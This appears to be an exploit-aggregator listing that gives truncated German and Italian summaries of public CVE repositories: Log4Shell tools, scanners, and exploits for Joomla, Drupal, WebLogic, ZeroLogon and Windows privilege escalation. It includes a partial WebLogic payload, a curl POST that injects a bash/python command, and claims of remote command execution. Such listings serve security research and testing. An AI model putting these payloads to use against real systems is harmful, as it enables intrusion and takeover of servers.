Log4j-CVE-2021-44228

Log4j-CVE-2021-44228 Massentest für verwundbares Log4j CVE-2021-44228 Einführung Eigentlich habe ich es nur über die verwundbare Anwendung von https://github.com/christophetd/log4shell-vulnerable-app geprüft weil ich zu faul bin, ein Live-Ziel zu finden xD Du kannst diesen Code also nach deinem...

log4shell-mitigation-tester

Tester di mitigazione Log4Shell Questa è un'applicazione di esempio che utilizza Log4j 2.14.1 . codice sorgente: App.java Lo scopo è poter testare diversi approcci di mitigazione. Gli approcci di mitigazione sono menzionati anche nella Risposta di Microsoft a CVE-2021-44228 Apache Log4j 2. Esempi...

CVE-2023-23752

Joomla! divulgazione di informazioni - Exploit CVE-2023-23752 Exploit per CVE-2023-23752 4.0.0 = Joomla = 4.2.7. Utilizzo Prima di usare il progetto dobbiamo installare i pacchetti necessari consiglio di creare un ambiente virtuale prima root@kitploit: pip install -r requierements.txt Prova di...

CVE-2021-44228-Advisories

CVE-2021-44228-Sicherheitshinweise Bitte öffnen Sie Issues, um einen Sicherheitshinweis einzureichen / Keine PRs. Bitte schauen Sie sich diese Liste an, sie hat mehr Zugkraft als meine : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 Diese Liste enthält alle Sicherheitshinweise...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell exploit Test dell'exploit esegue ping su google.com esegue qualsiasi comando stampa nome del sistema operativo, versione e architettura raccoglie dettagli sul sistema operativo e sull'utente apre la calcolatrice sulla macchina remota può eseguire qualsiasi eseguibile...

CVE-2021-44228

CVE-2021-44228 Scanner di vulnerabilità Log4Shell CVE-2021-44228 e POC...

log4shell

log4shell Inhalte, um der Gemeinschaft bei der Reaktion auf die Log4j-Sicherheitslücke Log4Shell CVE-2021-44228 zu helfen...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 Exploit Modifica TARGET in exploit.py root@kitploit: $ python3 exploit.py Success: Check http://127.0.0.1:8080/hello.txt...

buherablog-cve-2013-1488

Java Pwn2Own-Exploit - CVE-2013-1488 Proof-of-Concept-Exploit von axt basierend auf dem Writeup von James Forshaw Betrifft JRE-Versionen vor 7u21...

cve-2020-1054

CVE-2020-1054 CVE-2020-1054 LPE per Windows 7x64 Utilizzo Installa Rust se necessario https://www.rust-lang.org/learn/get-started Compila il codice: cargo build --release Copia il .exe da target/release/ nella macchina di destinazione ed eseguilo. KB di Windows Se un KB specifico di Windows non è...

SecuraBV-CVE-2020-1472

Script di test per ZeroLogon Uno script Python che utilizza la libreria Impacket per testare la vulnerabilità dell'exploit Zerologon CVE-2020-1472. Tenta di eseguire il bypass dell'autenticazione Netlogon. Lo script terminerà immediatamente quando il bypass viene eseguito con successo e non...

frameworks_base_AOSP10_r33_CVE-2021-20138

Questo repository non contiene un README...

libunwind_CVE-2015-3239_After

-- mode: Outline - - Questa è la versione 1.0 della libreria unwind. Questa libreria supporta diverse combinazioni architettura/sistema operativo: Linux/x86-64: Funziona bene. Linux/x86: Funziona bene. Linux/ARM: Funziona bene. Linux/IA-64: Completamente testato e supportato. Linux/PARISC:...

CVE-2021-1732-Exploit

CVE-2021-1732-Exploit Exploit per CVE-2021-1732 Testato solo su Windows 10 1909 x64...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un semplice exploit per CVE-2019-2725. Codice di esempio: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

poc-yaws-cgi-shell-injection

Iniezione di comandi del sistema operativo nel server web Yaws CVE-2020-24916 Prova di concetto Crea l'immagine di test: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . e/o Esegui il container docker run --rm -d -i -p 127.0.0.1:8000:8080...

log4j_scanner

Filesystem log4jscanner per windows e Unix. Scansione per CVE-2021-44228, CVE-2021-45046, CVE-2019-17571, CVE-2021-44832 Richiede almeno Python 2.7. Può essere eseguito come Custom Script Rule di un Audit o tramite un Server Script con Server Automation. Eseguibile anche autonomamente dalla riga ...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator Informazioni Questo strumento consente di verificare se una semplice applicazione web Java è vulnerabile a CVE-2021-44228 per una versione di Java e di Log4J fornita dall'utente. Puoi anche opzionalmente applicare una delle mitigazioni predefinite. Il laboratori...

CVE-2022-25476

CVE-2022-25476 ⚡ Einfache Verwendung Verwenden Sie dieses Projekt nur in sicheren und autorisierten Umgebungen wie: Lokale virtuelle Maschinen Docker-Container Isolierte Laborumgebungen Autorisierte Penetrationstest-Umgebungen Beispielhafte Einrichtung: root@kitploit: git clone cd Project use...

Apache-RocketMQ-CVE-2023-33246-

CVE-2023-33246: Esecuzione Remota di Codice in Apache RocketMQ PANORAMICA Apache RocketMQ è una delle piattaforme di messaggistica e streaming distribuite più popolari e ampiamente utilizzate. Recentemente è stata segnalata una vulnerabilità di esecuzione di comandi in Apache RocketMQ che interes...